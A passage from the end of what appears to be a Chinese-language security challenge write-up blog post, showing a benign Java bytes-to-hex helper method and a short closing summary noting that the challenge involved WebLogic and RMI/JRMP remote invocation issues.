        return hex;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 15 & (bytes[i] >> 4);
            ret.append("0123456789abcdef".charAt(b));
            int b2 = 15 & bytes[i];
            ret.append("0123456789abcdef".charAt(b2));
        }
        return ret.toString();
    }
}

总结

题目涉及到关于weblogic和RMI远程调用机制中出现的问题偏多,总体而言学习到很多了,自己还把JRMP相关的笔记给补完了,后面还有很多要学习了,加油!

posted @ 2022-09-28 21:33  zpchcbd  阅读(1034)  评论(1)    收藏  举报